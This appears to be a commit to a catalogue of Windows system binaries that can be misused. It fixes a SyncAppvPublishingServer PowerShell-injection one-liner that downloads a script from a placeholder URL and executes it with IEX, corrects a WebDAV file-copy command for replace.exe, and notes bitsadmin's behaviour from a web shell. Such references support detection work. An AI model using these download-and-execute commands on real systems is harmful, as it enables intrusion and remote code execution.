Minor modifications:

* Can only get bitsadmin to work with regular user. Testing from a
  webshell doesn't work
* Replace syntax seems to only function for webdav, as the referenced
  source implies
* Syncapp powershell syntax errors: extra (, no terminating "

OSBinaries/Bitsadmin.md

@@ -40,6 +40,7 @@ c:\windows\sysWOW64\bitsadmin.exe
 ```
 
 Notes:
+* Requires active user (doesn't work from a web shell)
 
 
 Detection:

OSBinaries/Replace.md

@@ -3,9 +3,9 @@
 * Functions: Copy, Download
 
 ```
-replace c:\source\file.cab c:\destination /A     
+replace c:\source\file.cab c:\destination /A
      
-replace \\http://webdav.host.com \foo\bar.exe c:\outdir /A     
+replace \\webdav.host.com\foo\bar.exe c:\outdir /A
 
 ```
 

OSBinaries/Syncappvpublishingserver.md

@@ -3,7 +3,7 @@
 * Functions: Execute
 
 ```
-SyncAppvPublishingServer.exe "n;((New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX
+SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX"
 ```
 
 Acknowledgements:
@@ -23,6 +23,6 @@ C:\Windows\System32\SyncAppvPublishingServer.exe
 Notes:
 Command injection into PowerShell
 Might have been fixed in newest version of Windows 10.
-
+(Works as of 10.0.16299.371)